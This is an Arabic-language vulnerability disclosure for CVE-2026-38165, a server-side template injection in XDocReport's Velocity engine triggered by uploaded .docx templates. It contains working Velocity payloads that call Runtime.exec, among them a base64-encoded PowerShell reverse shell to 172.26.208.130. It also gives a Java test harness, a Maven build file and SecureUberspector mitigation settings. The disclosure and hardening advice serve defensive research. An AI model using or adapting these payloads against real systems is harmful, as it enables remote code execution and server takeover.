
CVE-2026-38165 (SSTI)
نظرة عامة على الثغرة
حقن القالب من جانب الخادم (SSTI) هو ثغرة أمنية في الويب تسمح للمهاجم بحقن تعليمات برمجية ضارة في القوالب (templates) المستخدمة بواسطة أنظمة إدارة المحتوى (CMS) وأطر العمل (framework) على الويب، بهدف تنفيذ هجمات عن بُعد، أو الحصول على معلومات حساسة، أو القيام بأنشطة اختراق النظام.
SSTI هو أحد أشكال ثغرات الحقن (مثل SQL Injection، XSS، إلخ)، حيث يستغل المخترق استخدام أنظمة القوالب لنشر تعليمات برمجية ضارة عن بُعد. عند نجاح هجوم SSTI، يمكن للمخترق تنفيذ التعليمات البرمجية الخاصة به على الخادم من جانب الخادم، مما يسمح له بتنفيذ هجمات عن بُعد، مثل جمع المعلومات الحساسة، أو القيام بأنشطة اختراق النظام، أو الوصول إلى الموارد غير المصرح بها.
غالبًا ما تحدث ثغرة SSTI بسبب استخدام أنظمة قوالب غير آمنة، أو عدم فحص ومعالجة معلمات الإدخال قبل إدراجها في القوالب. إذا نجح هجوم SSTI، فقد تكون العواقب خطيرة وتسبب خسائر كبيرة للمؤسسة التي تتعرض للهجوم.
التأثير التجاري
يمكن أن تسبب ثغرة SSTI العديد من العواقب الوخيمة، بما في ذلك:
تنفيذ تعليمات برمجية ضارة: يمكن للمهاجم استخدام هذه الثغرة لتنفيذ تعليمات برمجية ضارة على الخادم، مما يسمح بسرقة البيانات، أو القيام بإجراءات غير قانونية على النظام، أو حتى السيطرة الكاملة على الخادم.
الكشف عن المعلومات الحساسة: قد تسمح SSTI للمهاجم بقراءة أو تعديل أو حذف الملفات على الخادم. إذا كانت هذه الملفات تحتوي على معلومات حساسة، مثل أسماء المستخدمين وكلمات المرور، فيمكن للمهاجم بسهولة الكشف عن هذه المعلومات.
هجمات التهديد أو الاحتيال على المستخدمين: يمكن للمهاجم استخدام SSTI لتنفيذ هجمات تهديد أو احتيال على المستخدمين، عن طريق تغيير محتوى صفحة الويب أو إضافة أزرار مخصصة مزيفة. إذا نقر المستخدم على هذه الأزرار، يمكن للمهاجم سرقة معلومات المستخدم أو تثبيت برامج ضارة على جهاز الكمبيوتر الخاص به.

fr.opensagres.xdocreport.template.velocity
تم العثور على ثغرة حقن القالب من جانب الخادم (SSTI) في OpenSAGRES XDocReport عند معالجة قوالب DOCX باستخدام محرك velocity. في ظل تكوينات معينة، يمكن أن تؤدي القوالب المصممة خصيصًا إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).
يسمح موقع إدارة الموارد البشرية للمستخدم برفع ملفات المستندات .docx إلى النظام. أثناء المعالجة، يستخدم التطبيق محرك القوالب velocity (في الملف) لتصيير المحتوى دون وجود آلية للتحكم أو تصفية محتوى الإدخال.
تسمح هذه الثغرة للمهاجم بحقن تعبيرات ضارة في ملف .docx (قالب)، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) على الخادم، ويمكن استغلالها لسرقة المعلومات أو السيطرة على النظام.
fr.opensagres.xdocreport.template.velocity — XDocReport (الإصدارات =< 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

velocityEngine.evaluate(...) هو الأسلوب القياسي / "الافتراضي" لـ Apache Velocity لتقييم (evaluate) قالب من كائن Reader (أو من String) باستخدام كائن Context وكتابة الناتج إلى Writer. يقوم بتنفيذ بناء جملة VTL (Velocity Template Language) تمامًا مثل Template.merge(...)
evaluate: تحليل من Reader/String → مناسب عندما يكون القالب ديناميكيًا / غير موثوق.
getTemplate(...).merge(...): تحميل القالب الذي تمت معالجته بواسطة محمل الموارد (التخزين المؤقت، الترميز...)، ثم دمجه. من حيث القدرة على تنفيذ VTL، كلاهما ينفذ نفس التعبيرات؛ الفرق الرئيسي هو مكان / طريقة تحميل القالب.
.docx يحتوي على الحمولة التالية:
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result



#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


172.26.208.130
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

.docx إلى xdocreport للمعالجة

velocityEngineProperties.setProperty(
"runtime.introspector.uberspect",
"org.apache.velocity.util.introspection.SecureUberspector"
);
فئة Apache Velocity SecureUberspector هي مشرف صندوق حماية (sandbox introspector).
سيقوم SecureUberspector بحظر:
velocityEngineProperties.setProperty(
"introspector.restrict.classes",
"java.lang.Class,
java.lang.ClassLoader,
java.lang.Process,
java.lang.Runtime,
java.lang.System,
java.lang.Thread"
);
velocityEngineProperties.setProperty(
"introspector.restrict.packages",
"java.lang.reflect"
);
حظر:
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// قراءة ملف الإدخال الذي يحتوي على تعبيرات Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // ملف الإدخال
InputStream input = new FileInputStream(docxTemplate);
// تحميل القالب باستخدام Velocity
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// إنشاء سياق - يمكن تركه فارغًا إذا كان الاختبار للتعبيرات المستقلة
IContext context = report.createContext();
// الإخراج إلى ملف جديد
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ تم إنشاء ملف result.docx بنجاح.");
} catch (Exception e) {
System.err.println("❌ خطأ في معالجة الملف:");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>













